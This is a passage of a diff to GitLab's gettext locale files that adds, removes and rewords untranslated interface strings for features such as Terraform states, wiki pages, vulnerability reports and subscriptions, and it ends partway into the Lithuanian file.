-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/lt_LT/gitlab.po b/locale/lt_LT/gitlab.po
index 57016e0ef98..8c619f1b0f4 100644
--- a/locale/lt_LT/gitlab.po
+++ b/locale/lt_LT/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: lt\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:48\n"
+"PO-Revision-Date: 2020-12-03 08:18\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -88,6 +88,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -203,15 +210,15 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -461,22 +468,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
-msgstr ""
-
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -565,6 +563,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -637,21 +638,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
